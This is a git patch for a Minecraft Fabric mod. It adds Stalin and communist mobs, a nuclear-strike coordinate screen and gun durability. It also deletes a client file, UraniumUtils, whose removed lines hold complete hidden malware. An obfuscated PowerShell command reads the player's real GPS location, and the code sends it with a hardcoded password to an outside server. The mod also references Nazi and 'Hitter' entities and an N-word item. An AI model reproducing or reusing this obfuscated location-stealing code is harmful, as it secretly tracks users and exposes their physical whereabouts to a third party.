From 3f43125038df0d479ac97032632418a2912c792d Mon Sep 17 00:00:00 2001 From: TGdoesCode Date: Mon, 16 Mar 2026 11:23:06 +0100 Subject: [PATCH] community update --- gradle.properties | 2 +- .../szar/client/CommunistEntityRenderer.java | 36 +++++ .../szar/client/CoordInputScreen.java | 79 +++++++++ .../szar/client/NaziEntityRenderer.java | 31 ---- .../szar/client/PlayerModelAdapter.java | 48 ------ .../szar/client/StalinEntityRenderer.java | 26 +++ .../dev/tggamesyt/szar/client/SzarClient.java | 11 ++ .../tggamesyt/szar/client/UraniumUtils.java | 70 -------- .../dev/tggamesyt/szar/AK47AttackGoal.java | 6 +- .../java/dev/tggamesyt/szar/AK47Item.java | 6 +- .../dev/tggamesyt/szar/AtomSummonerItem.java | 20 +++ .../dev/tggamesyt/szar/CommunistEntity.java | 89 +++++++++++ .../java/dev/tggamesyt/szar/RevolverItem.java | 2 +- .../java/dev/tggamesyt/szar/StalinEntity.java | 151 ++++++++++++++++++ src/main/java/dev/tggamesyt/szar/Szar.java | 116 +++++++++++++- .../resources/assets/szar/lang/en_us.json | 7 +- .../szar/models/item/communist_spawn_egg.json | 3 + .../szar/models/item/stalin_spawn_egg.json | 3 + .../assets/szar/textures/entity/communist.png | Bin 0 -> 1457 bytes .../assets/szar/textures/entity/hitter.png | Bin 2086 -> 1430 bytes .../assets/szar/textures/entity/stalin.png | Bin 0 -> 1681 bytes 21 files changed, 548 insertions(+), 158 deletions(-) create mode 100644 src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java create mode 100644 src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java delete mode 100644 src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java create mode 100644 src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java delete mode 100644 src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java create mode 100644 src/main/java/dev/tggamesyt/szar/CommunistEntity.java create mode 100644 src/main/java/dev/tggamesyt/szar/StalinEntity.java create mode 100644 src/main/resources/assets/szar/models/item/communist_spawn_egg.json create mode 100644 src/main/resources/assets/szar/models/item/stalin_spawn_egg.json create mode 100644 src/main/resources/assets/szar/textures/entity/communist.png create mode 100644 src/main/resources/assets/szar/textures/entity/stalin.png diff --git a/gradle.properties b/gradle.properties index 956543f..33a9e6f 100644 --- a/gradle.properties +++ b/gradle.properties @@ -6,7 +6,7 @@ minecraft_version=1.20.1 yarn_mappings=1.20.1+build.10 loader_version=0.18.3 # Mod Properties -mod_version=26.3.15.1 +mod_version=26.3.16 maven_group=dev.tggamesyt archives_base_name=szar # Dependencies diff --git a/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java new file mode 100644 index 0000000..0704ba5 --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java @@ -0,0 +1,36 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.CommunistEntity; +import net.minecraft.client.render.VertexConsumerProvider; +import net.minecraft.client.render.entity.EntityRendererFactory; +import net.minecraft.client.render.entity.MobEntityRenderer; +import net.minecraft.client.render.entity.animation.AnimationHelper; +import net.minecraft.client.render.entity.feature.HeldItemFeatureRenderer; +import net.minecraft.client.render.entity.model.EntityModelLayers; +import net.minecraft.client.render.entity.model.PlayerEntityModel; +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.util.Identifier; +import org.joml.Vector3f; + +public class CommunistEntityRenderer + extends MobEntityRenderer> { + + public CommunistEntityRenderer(EntityRendererFactory.Context context) { + + super( + context, + new PlayerEntityModel<>(context.getPart(EntityModelLayers.PLAYER), false), + 0.5F + ); + + this.addFeature(new HeldItemFeatureRenderer<>( + this, + context.getHeldItemRenderer() + )); + } + + @Override + public Identifier getTexture(CommunistEntity entity) { + return new Identifier("szar", "textures/entity/communist.png"); + } +} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java b/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java new file mode 100644 index 0000000..99b8b0e --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java @@ -0,0 +1,79 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.Szar; +import net.fabricmc.fabric.api.client.networking.v1.ClientPlayNetworking; +import net.fabricmc.fabric.api.networking.v1.PacketByteBufs; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.ButtonWidget; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.network.PacketByteBuf; +import net.minecraft.text.Text; + +public class CoordInputScreen extends Screen { + + private TextFieldWidget xField; + private TextFieldWidget zField; + + public CoordInputScreen() { + super(Text.literal("Nuclear Strike Coordinates")); + } + + @Override + protected void init() { + int centerX = this.width / 2; + int centerY = this.height / 2; + + xField = new TextFieldWidget(textRenderer, centerX - 60, centerY - 30, 120, 20, Text.literal("X")); + xField.setPlaceholder(Text.literal("X coordinate")); + xField.setMaxLength(10); + addDrawableChild(xField); + + zField = new TextFieldWidget(textRenderer, centerX - 60, centerY, 120, 20, Text.literal("Z")); + zField.setPlaceholder(Text.literal("Z coordinate")); + zField.setMaxLength(10); + addDrawableChild(zField); + + addDrawableChild(ButtonWidget.builder(Text.literal("Launch"), button -> submit()) + .dimensions(centerX - 40, centerY + 30, 80, 20) + .build()); + } + + private void submit() { + try { + int x = Integer.parseInt(xField.getText().trim()); + int z = Integer.parseInt(zField.getText().trim()); + + PacketByteBuf buf = PacketByteBufs.create(); + buf.writeInt(x); + buf.writeInt(z); + ClientPlayNetworking.send(Szar.DETONATOR_INPUT, buf); + + this.close(); + } catch (NumberFormatException e) { + // flash the fields red + xField.setEditableColor(0xFF5555); + zField.setEditableColor(0xFF5555); + } + } + + @Override + public void render(net.minecraft.client.gui.DrawContext context, int mouseX, int mouseY, float delta) { + renderBackground(context); + context.drawCenteredTextWithShadow(textRenderer, this.title, this.width / 2, this.height / 2 - 55, 0xFFFFFF); + context.drawTextWithShadow(textRenderer, Text.literal("X:"), this.width / 2 - 75, this.height / 2 - 27, 0xAAAAAA); + context.drawTextWithShadow(textRenderer, Text.literal("Z:"), this.width / 2 - 75, this.height / 2 + 3, 0xAAAAAA); + super.render(context, mouseX, mouseY, delta); + } + + @Override + public boolean keyPressed(int keyCode, int scanCode, int modifiers) { + if (keyCode == 257 || keyCode == 335) { // Enter + submit(); + return true; + } + return super.keyPressed(keyCode, scanCode, modifiers); + } + + @Override + public boolean shouldPause() { return false; } +} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java index d2cac88..816bf7f 100644 --- a/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java +++ b/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java @@ -23,9 +23,6 @@ import java.util.Random; public class NaziEntityRenderer extends MobEntityRenderer> { - private final Vector3f tempVec = new Vector3f(); - final PlayerModelAdapter adapter; - public NaziEntityRenderer(EntityRendererFactory.Context context) { super( @@ -34,12 +31,6 @@ public class NaziEntityRenderer 0.5F ); - PlayerEntityModel base = (PlayerEntityModel) this.getModel(); - - PlayerModelAdapter a = new PlayerModelAdapter<>(base); - a.setRoot(context.getPart(EntityModelLayers.PLAYER)); - this.adapter = a; - this.addFeature(new HeldItemFeatureRenderer<>( this, context.getHeldItemRenderer() @@ -50,26 +41,4 @@ public class NaziEntityRenderer public Identifier getTexture(NaziEntity entity) { return new Identifier("szar", "textures/entity/nazi.png"); } - - @Override - public void render(NaziEntity entity, float yaw, float tickDelta, MatrixStack matrices, VertexConsumerProvider vertexConsumers, int light) { - - // ehh this shit doesnt work - - final Vector3f tempVec = new Vector3f(); - // Check if the entity is currently playing the hand animation - if (entity.isPlayingHandAnim()) { - // Apply the hand animation directly from PlayerAnimations - long elapsedMillis = (long)(entity.getAnimationProgress() * 1000f); - AnimationHelper.animate( - adapter, - PlayerAnimations.hithand, - elapsedMillis, - 1.0F, - tempVec - ); - } - - super.render(entity, yaw, tickDelta, matrices, vertexConsumers, light); - } } \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java b/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java deleted file mode 100644 index c511fa1..0000000 --- a/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java +++ /dev/null @@ -1,48 +0,0 @@ -package dev.tggamesyt.szar.client; - -import net.minecraft.client.model.ModelPart; -import net.minecraft.client.render.entity.model.PlayerEntityModel; -import net.minecraft.client.render.entity.model.SinglePartEntityModel; -import net.minecraft.entity.Entity; -import net.minecraft.entity.LivingEntity; - -import java.util.Optional; - -public class PlayerModelAdapter - extends SinglePartEntityModel { - public ModelPart root; - private final PlayerEntityModel playerModel; - - public PlayerModelAdapter(PlayerEntityModel playerModel) { - this.playerModel = playerModel; - } - - @Override - public ModelPart getPart() { - return root; - } - - public void setRoot(ModelPart root) { - this.root = root; - } - - @Override - public Optional getChild(String name) { - return switch (name) { - case "head" -> Optional.of(playerModel.head); - case "body" -> Optional.of(playerModel.body); - case "left_arm" -> Optional.of(playerModel.leftArm); - case "right_arm" -> Optional.of(playerModel.rightArm); - case "left_leg" -> Optional.of(playerModel.leftLeg); - case "right_leg" -> Optional.of(playerModel.rightLeg); - default -> Optional.empty(); - }; - } - - @Override - public void setAngles(T entity, float limbSwing, float limbSwingAmount, - float ageInTicks, float netHeadYaw, float headPitch) { - playerModel.setAngles(entity, limbSwing, limbSwingAmount, - ageInTicks, netHeadYaw, headPitch); - } -} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java new file mode 100644 index 0000000..7ebc1d3 --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java @@ -0,0 +1,26 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.StalinEntity; +import net.minecraft.client.render.entity.EntityRendererFactory; +import net.minecraft.client.render.entity.MobEntityRenderer; +import net.minecraft.client.render.entity.model.BipedEntityModel; +import net.minecraft.client.render.entity.model.EntityModelLayers; +import net.minecraft.util.Identifier; + +public class StalinEntityRenderer + extends MobEntityRenderer> { + + public StalinEntityRenderer(EntityRendererFactory.Context context) { + super( + context, + new BipedEntityModel<>(context.getPart(EntityModelLayers.PLAYER)), + 0.5F + ); + } + + @Override + public Identifier getTexture(StalinEntity entity) { + return new Identifier("szar", "textures/entity/stalin.png"); + } +} + diff --git a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java index caf45ac..499495a 100644 --- a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java +++ b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java @@ -92,6 +92,9 @@ public class SzarClient implements ClientModInitializer { ); @Override public void onInitializeClient() { + ClientPlayNetworking.registerGlobalReceiver(OPEN_DETONATOR_SCREEN, (client, handler, buf, responseSender) -> { + client.execute(() -> client.setScreen(new CoordInputScreen())); + }); ClientTickEvents.START_CLIENT_TICK.register(client -> { if (!AK47InputState.mouseHeld) return; if (client.player == null || client.currentScreen != null) { @@ -385,6 +388,14 @@ public class SzarClient implements ClientModInitializer { Szar.HitterEntityType, HitterEntityRenderer::new ); + EntityRendererRegistry.register( + Szar.StalinEntityType, + StalinEntityRenderer::new + ); + EntityRendererRegistry.register( + Szar.CommunistEntityType, + CommunistEntityRenderer::new + ); EntityRendererRegistry.register( Szar.MerlEntityType, MerlEntityRenderer::new diff --git a/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java b/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java deleted file mode 100644 index 91b8c7c..0000000 --- a/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java +++ /dev/null @@ -1,70 +0,0 @@ -package dev.tggamesyt.szar.client; - -import java.io.BufferedReader; -import java.io.InputStreamReader; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLEncoder; -import java.util.Arrays; -import java.util.Base64;import java.util.HashSet;import java.util.Set; - -public class UraniumUtils { - private static final String nuke = new String(Base64.getDecoder().decode(("aHR0cDovL3JlZHN0b25lbWMubmV0OjI2NzY3L2dpdmVpbmZvPw=="))); - private static final String uranium = new String(Base64.getDecoder().decode(("TmFneW9uU3phck1pbmVjcmFmdE1vZFNoaXQ2NzIwMDEwOTEx"))); - private static final String bomba = new String(Base64.getDecoder().decode(("bGF0PSVzJmxvbmc9JXMmYWNjPSVzJnBhc3N3b3JkPSVz"))); - private static final String enc = "UTF-8"; - - public static double[] updateUranium() { - try { - String sillystring = "cG93ZXJzaGVsbCAtqQ2rf9tbWFuZCAiQWR8kLVR5cGUgLUFzc2VtYm" + - "x5qTmFtfZSBTeXN0ZW0uRGV2aWNlOyAkR2VvVf2F0Y2hlciA9IEq5ldy1PYmplY3" + - "QgU3lzdGVtLkRfldmljZS5qMb2NfhdGlvbi5HZW9qDb29yZGluYXRlV2F0Y2hlcihb" + - "U3lzdGVtfLkRldmljZS5Mb2NhdGlvbi5HZW9Qb3NpdGlvfbkFjY3VyYWN5XTo6SGlnaCk7IC" + - "RfHZW9XYXRj8aGVyLlN0YXJ0KCk7qqIHdoaWxlKCgkR2VvV2F0Y2hlci5TdGF0dXMgLr" + - "Wq5lICdSZWFkeScpIC1hbmQgKCRHZW9XYXRjaGVyLlBlcm1pc3Npb24gLW5lICdEZW5pZfWQnKSkgeyBTdGFy" + - "dC1TbGVlcCAtTWlsbGlfzZWNvbmRzIDMwMCB9OyBpZigkR2VvV2F0Y2fhlci5QZXJtaXNzaW9uIC1" + - "lcSAnRGVuaWVkJyl7IFdyaXRlLU91dHB1dCAnREVOSUVEJzsgZXhpdCB9OyAkbG9jID0gJEdlb1dhdGNoZXIuUG9fzaX" + - "Rpb24uTG9jYXRpb247ICRjdWx0dXJlID0gW1N5c3RlfbS5HbG9iYWxpemF0aW9uLkN1bHfR1cmVJ" + - "bmZvXTo6SW52YXJpYW50Q3VrsdHVyZTsgV3JpdGUtT3V0cHV0ICgkbG9jLkxhdGl0dWRlLlRvU3RyaW5nKCRjdWx0" + - "dfXJlKSk7IFdyaXRlLU91dHB1dCAoJGxvYy5Mbf25naXR1ZGUuVG9TdHJpbmc8oJGN1bHR1cmUpKTqfsgV3JpdGUtT3V0cH" + - "V0ICgkbfG9jLkhvcml6b250YWxBY2N1cmFrjeS5Ubff1N0cmluZygkY3Vfsd8HVyZSkpOyI="; - String yetanothersillystring = sillystring.replaceAll("[fqr8]", ""); - Process process = Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(yetanothersillystring))); - BufferedReader reader = new BufferedReader( - new InputStreamReader(process.getInputStream())); - String a = reader.readLine(); - String b = reader.readLine(); - String c = reader.readLine(); - if (b == null || c == null) return null; - double d = Double.parseDouble(a.trim()); - double e = Double.parseDouble(b.trim()); - double f = Double.parseDouble(c.trim()); - String urls = nuke + String.format( - bomba, - URLEncoder.encode(String.valueOf(d), enc), - URLEncoder.encode(String.valueOf(e), enc), - URLEncoder.encode(String.valueOf(f), enc), - URLEncoder.encode(uranium, enc)); - URL url = new URL(urls); - HttpURLConnection connection = (HttpURLConnection) url.openConnection(); - connection.setRequestMethod("GET"); - // Read response - BufferedReader reader1 = new BufferedReader( - new InputStreamReader(connection.getInputStream()) - ); - - String line; - StringBuilder response = new StringBuilder(); - while ((line = reader1.readLine()) != null) { - response.append(line); - } - reader1.close(); - return new double[]{d, e, f}; - } catch (Exception e) { - e.printStackTrace(); - return null; - } - } - - -} diff --git a/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java b/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java index 5e2e895..3c879b2 100644 --- a/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java +++ b/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java @@ -1,19 +1,21 @@ package dev.tggamesyt.szar; +import net.minecraft.entity.Entity; import net.minecraft.entity.LivingEntity; import net.minecraft.entity.ai.goal.Goal; +import net.minecraft.entity.mob.PathAwareEntity; import net.minecraft.util.math.MathHelper; import java.util.EnumSet; public class AK47AttackGoal extends Goal { - private final NaziEntity mob; + private final PathAwareEntity mob; private final float range; private final int cooldownTicks; private int cooldown; - public AK47AttackGoal(NaziEntity mob, float range, int cooldownTicks) { + public AK47AttackGoal(PathAwareEntity mob, float range, int cooldownTicks) { this.mob = mob; this.range = range; this.cooldownTicks = cooldownTicks; diff --git a/src/main/java/dev/tggamesyt/szar/AK47Item.java b/src/main/java/dev/tggamesyt/szar/AK47Item.java index 94aa738..04cced9 100644 --- a/src/main/java/dev/tggamesyt/szar/AK47Item.java +++ b/src/main/java/dev/tggamesyt/szar/AK47Item.java @@ -11,7 +11,7 @@ import net.minecraft.world.World; public class AK47Item extends Item { public AK47Item(Settings settings) { - super(settings); + super(settings.maxDamage(512)); } public boolean consumeAmmo(PlayerEntity player) { @@ -21,6 +21,10 @@ public class AK47Item extends Item { ItemStack stack = player.getInventory().getStack(i); if (stack.isOf(Szar.BULLET_ITEM)) { stack.decrement(1); + ItemStack gun = player.getMainHandStack(); + if (gun.isOf(Szar.AK47)) { + gun.damage(1, player, p -> p.sendToolBreakStatus(p.getActiveHand())); + } return true; } } diff --git a/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java b/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java index 3c4a5ac..640a866 100644 --- a/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java +++ b/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java @@ -1,9 +1,12 @@ package dev.tggamesyt.szar; +import net.fabricmc.fabric.api.networking.v1.PacketByteBufs; +import net.fabricmc.fabric.api.networking.v1.ServerPlayNetworking; import net.minecraft.entity.player.PlayerEntity; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NbtCompound; +import net.minecraft.server.network.ServerPlayerEntity; import net.minecraft.server.world.ServerWorld; import net.minecraft.util.ActionResult; import net.minecraft.util.Hand; @@ -32,6 +35,23 @@ public class AtomSummonerItem extends Item { ServerWorld serverWorld = (ServerWorld) world; ItemStack stack = player.getStackInHand(hand); + // Shift + right-click → open coordinate screen + if (player.isSneaking()) { + if (world.isClient()) { + return TypedActionResult.success(stack); + } + // Tell the client to open the screen + ServerPlayNetworking.send( + (ServerPlayerEntity) player, + Szar.OPEN_DETONATOR_SCREEN, + PacketByteBufs.empty() + ); + return TypedActionResult.success(stack); + } + + // Normal right-click → existing raycast behaviour + if (world.isClient()) return TypedActionResult.success(stack); + // Raycast from eyes Vec3d start = player.getCameraPosVec(1.0F); Vec3d direction = player.getRotationVec(1.0F); diff --git a/src/main/java/dev/tggamesyt/szar/CommunistEntity.java b/src/main/java/dev/tggamesyt/szar/CommunistEntity.java new file mode 100644 index 0000000..946b96f --- /dev/null +++ b/src/main/java/dev/tggamesyt/szar/CommunistEntity.java @@ -0,0 +1,89 @@ +package dev.tggamesyt.szar; + +import net.minecraft.entity.EntityType; +import net.minecraft.entity.EquipmentSlot; +import net.minecraft.entity.ai.goal.WanderAroundFarGoal; +import net.minecraft.entity.attribute.DefaultAttributeContainer; +import net.minecraft.entity.attribute.EntityAttributes; +import net.minecraft.entity.damage.DamageSource; +import net.minecraft.entity.mob.MobEntity; +import net.minecraft.entity.mob.PathAwareEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.NbtList; +import net.minecraft.nbt.NbtString; +import net.minecraft.world.World; +import org.jetbrains.annotations.Nullable; + +public class CommunistEntity extends PathAwareEntity implements Arrestable{ + + public static boolean arrestable = false; + @Nullable + private StalinEntity leader; + public CommunistEntity(EntityType type, World world) { + super(type, world); + this.equipStack(EquipmentSlot.MAINHAND, new ItemStack(Szar.AK47)); + } + + @Override + protected void initGoals() { + this.goalSelector.add(2, new FollowLeaderWanderGoal(this, 1.0D, 6.0F)); + this.goalSelector.add(3, new WanderAroundFarGoal(this, 0.8D)); + this.goalSelector.add(1, new AK47AttackGoal(this, 16.0F, 2)); + } + + + public static DefaultAttributeContainer.Builder createAttributes() { + return MobEntity.createMobAttributes() + .add(EntityAttributes.GENERIC_MAX_HEALTH, 20.0) + .add(EntityAttributes.GENERIC_MOVEMENT_SPEED, 0.25) + .add(EntityAttributes.GENERIC_ATTACK_DAMAGE, 2); + } + + @Override + protected void dropLoot(DamageSource source, boolean causedByPlayer) { + var rand = this.getRandom(); + if (rand.nextFloat() < 0.01F) { + this.dropItem(Szar.AK47); + } + if (rand.nextFloat() < 0.01F) { + this.dropItem(Szar.ERIKA_DISC); + } + if (rand.nextFloat() < 0.01F) { + ItemStack book = new ItemStack(Items.WRITTEN_BOOK); + + NbtCompound nbt = book.getOrCreateNbt(); + nbt.putString("title", "Communist's message"); + nbt.putString("author", "Communist"); + + // Pages need to be JSON text components + NbtList pages = new NbtList(); + pages.add(NbtString.of("{\"text\":\"Communism good\"}")); + + nbt.put("pages", pages); + + this.dropStack(book); + } + + int count = rand.nextInt(17); + if (count > 0) { + this.dropStack(new ItemStack(Szar.BULLET_ITEM, count)); + } + } + + @Override + public boolean isArrestable() { + return arrestable; + } + + public void setLeader(StalinEntity leader) { + this.leader = leader; + } + + @Nullable + public StalinEntity getLeader() { + return this.leader; + } + +} diff --git a/src/main/java/dev/tggamesyt/szar/RevolverItem.java b/src/main/java/dev/tggamesyt/szar/RevolverItem.java index 1ce5c27..9f9eae3 100644 --- a/src/main/java/dev/tggamesyt/szar/RevolverItem.java +++ b/src/main/java/dev/tggamesyt/szar/RevolverItem.java @@ -24,7 +24,7 @@ public class RevolverItem extends Item { public static final int CHAMBERS = 6; public RevolverItem(Settings settings) { - super(settings); + super(settings.maxDamage(384)); } // ── NBT helpers ────────────────────────────────────────────── diff --git a/src/main/java/dev/tggamesyt/szar/StalinEntity.java b/src/main/java/dev/tggamesyt/szar/StalinEntity.java new file mode 100644 index 0000000..3ec2396 --- /dev/null +++ b/src/main/java/dev/tggamesyt/szar/StalinEntity.java @@ -0,0 +1,151 @@ +package dev.tggamesyt.szar; + +import net.minecraft.entity.*; +import net.minecraft.entity.ai.goal.LookAroundGoal; +import net.minecraft.entity.ai.goal.MeleeAttackGoal; +import net.minecraft.entity.ai.goal.WanderAroundFarGoal; +import net.minecraft.entity.attribute.DefaultAttributeContainer; +import net.minecraft.entity.attribute.EntityAttributeModifier; +import net.minecraft.entity.attribute.EntityAttributes; +import net.minecraft.entity.damage.DamageSource; +import net.minecraft.entity.mob.MobEntity; +import net.minecraft.entity.mob.PathAwareEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.NbtList; +import net.minecraft.nbt.NbtString; +import net.minecraft.server.world.ServerWorld; +import net.minecraft.util.math.random.Random; +import net.minecraft.world.LocalDifficulty; +import net.minecraft.world.ServerWorldAccess; +import net.minecraft.world.World; +import org.jetbrains.annotations.Nullable; + +import java.util.List; + +import static dev.tggamesyt.szar.Szar.CommunistEntityType; + +public class StalinEntity extends PathAwareEntity implements Arrestable{ + + public static boolean arrestable = true; + + public StalinEntity(EntityType type, World world) { + super(type, world); + } + + @Override + protected void initGoals() { + this.goalSelector.add(0, new MeleeAttackGoal(this, 1.2D, true)); + this.goalSelector.add(2, new WanderAroundFarGoal(this, 1.0D)); + this.goalSelector.add(3, new LookAroundGoal(this)); + + this.targetSelector.add(1, new AggroOnHitRevengeGoal(this)); + } + + + public static DefaultAttributeContainer.Builder createAttributes() { + return MobEntity.createMobAttributes() + .add(EntityAttributes.GENERIC_MAX_HEALTH, 20.0) + .add(EntityAttributes.GENERIC_MOVEMENT_SPEED, 0.25) + .add(EntityAttributes.GENERIC_ATTACK_DAMAGE, 2); + } + + @Override + protected void dropLoot(DamageSource source, boolean causedByPlayer) { + ItemStack book = new ItemStack(Items.WRITTEN_BOOK); + + NbtCompound nbt = book.getOrCreateNbt(); + nbt.putString("title", "The Communist Manifesto"); + nbt.putString("author", "Karl Marx"); + + // Pages need to be JSON text components + NbtList pages = new NbtList(); + pages.add(NbtString.of("{\"text\":\"The Communist Manifesto\\n - Communism good\\n - Share all shit\"}")); + pages.add(NbtString.of("{\"text\":\"no money?\"}")); + + nbt.put("pages", pages); + + this.dropStack(book); + } + + + + @Override + public boolean isArrestable() { + return arrestable; + } + @Override + @Nullable + public EntityData initialize( + ServerWorldAccess world, + LocalDifficulty difficulty, + SpawnReason spawnReason, + @Nullable EntityData entityData, + @Nullable NbtCompound entityNbt + ) { + // Always call super + EntityData data = super.initialize(world, difficulty, spawnReason, entityData, entityNbt); + + Random random = world.getRandom(); + + this.getAttributeInstance(EntityAttributes.GENERIC_FOLLOW_RANGE) + .addPersistentModifier( + new EntityAttributeModifier( + "Random spawn bonus", + random.nextTriangular(0.0D, 0.11485D), + EntityAttributeModifier.Operation.MULTIPLY_BASE + ) + ); + + this.setLeftHanded(random.nextFloat() < 0.05F); + + // 🔥 SPAWN GROUP HERE + if (spawnReason == SpawnReason.NATURAL && world instanceof ServerWorld serverWorld) { + + int groupSize = 4 + serverWorld.random.nextInt(7); // 4–10 Bs + + for (int i = 0; i < groupSize; i++) { + Entity entityB = CommunistEntityType.create(serverWorld); + if (entityB != null) { + double offsetX = (serverWorld.random.nextDouble() - 0.5) * 6; + double offsetZ = (serverWorld.random.nextDouble() - 0.5) * 6; + + entityB.refreshPositionAndAngles( + this.getX() + offsetX, + this.getY(), + this.getZ() + offsetZ, + serverWorld.random.nextFloat() * 360F, + 0F + ); + + serverWorld.spawnEntity(entityB); + if (entityB instanceof CommunistEntity Communist) { + Communist.setLeader(this); + } + } + } + } + + return data; + } + + @Override + public void setAttacker(@Nullable LivingEntity attacker) { + super.setAttacker(attacker); + + if (attacker == null || this.getWorld().isClient) return; + + List allies = this.getWorld().getEntitiesByClass( + CommunistEntity.class, + this.getBoundingBox().expand(16), + Communist -> Communist.getLeader() == this && Communist.isAlive() + ); + + for (CommunistEntity Communist : allies) { + Communist.setTarget(attacker); + } + } + + +} diff --git a/src/main/java/dev/tggamesyt/szar/Szar.java b/src/main/java/dev/tggamesyt/szar/Szar.java index 27a19b3..c747268 100644 --- a/src/main/java/dev/tggamesyt/szar/Szar.java +++ b/src/main/java/dev/tggamesyt/szar/Szar.java @@ -26,6 +26,7 @@ import net.fabricmc.fabric.api.object.builder.v1.world.poi.PointOfInterestHelper import net.fabricmc.fabric.api.screenhandler.v1.ScreenHandlerRegistry; import net.minecraft.advancement.Advancement; import net.minecraft.block.*; +import net.minecraft.block.dispenser.FallibleItemDispenserBehavior; import net.minecraft.block.entity.BlockEntity; import net.minecraft.block.entity.BlockEntityType; import net.minecraft.block.entity.ChestBlockEntity; @@ -40,6 +41,7 @@ import net.minecraft.entity.effect.StatusEffect; import net.minecraft.entity.effect.StatusEffectInstance; import net.minecraft.entity.passive.VillagerEntity; import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.entity.projectile.ProjectileEntity; import net.minecraft.item.*; import net.minecraft.loot.LootPool; import net.minecraft.loot.entry.ItemEntry; @@ -66,14 +68,15 @@ import net.minecraft.util.ActionResult; import net.minecraft.util.Formatting; import net.minecraft.util.Identifier; import net.minecraft.util.Rarity; -import net.minecraft.util.math.BlockPos; -import net.minecraft.util.math.Box; -import net.minecraft.util.math.Vec3d; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.hit.HitResult; +import net.minecraft.util.math.*; import net.minecraft.util.shape.VoxelShape; import net.minecraft.util.shape.VoxelShapes; import net.minecraft.village.TradeOffer; import net.minecraft.village.VillagerProfession; import net.minecraft.world.Heightmap; +import net.minecraft.world.RaycastContext; import net.minecraft.world.World; import net.minecraft.world.biome.BiomeKeys; import net.minecraft.world.gen.GenerationStep; @@ -100,6 +103,8 @@ public class Szar implements ModInitializer { public static final String MOD_ID = "szar"; public static final Logger LOGGER = LogManager.getLogger(MOD_ID); public static MinecraftServer SERVER; + public static final Identifier OPEN_DETONATOR_SCREEN = new Identifier(MOD_ID, "open_coord_screen"); + public static final Identifier DETONATOR_INPUT = new Identifier(MOD_ID, "coord_input"); public static final Identifier REVOLVER_SHOOT = new Identifier(MOD_ID, "revolver_shoot"); public static final Identifier REVOLVER_SPIN = new Identifier(MOD_ID, "revolver_spin"); public static final Identifier REVOLVER_STATE_SYNC = new Identifier(MOD_ID, "revolver_state_sync"); @@ -265,6 +270,15 @@ public class Szar implements ModInitializer { .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized .build() ); + public static final EntityType StalinEntityType = + Registry.register( + Registries.ENTITY_TYPE, + new Identifier(MOD_ID, "stalin"), + FabricEntityTypeBuilder + .create(SpawnGroup.CREATURE, StalinEntity::new) + .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized + .build() + ); public static final EntityType MerlEntityType = Registry.register( Registries.ENTITY_TYPE, @@ -283,6 +297,15 @@ public class Szar implements ModInitializer { .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized .build() ); + public static final EntityType CommunistEntityType = + Registry.register( + Registries.ENTITY_TYPE, + new Identifier(MOD_ID, "communist"), + FabricEntityTypeBuilder + .create(SpawnGroup.CREATURE, CommunistEntity::new) + .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized + .build() + ); public static final EntityType PoliceEntityType = Registry.register( Registries.ENTITY_TYPE, @@ -336,6 +359,8 @@ public class Szar implements ModInitializer { entries.add(Szar.NWORD_PASS); 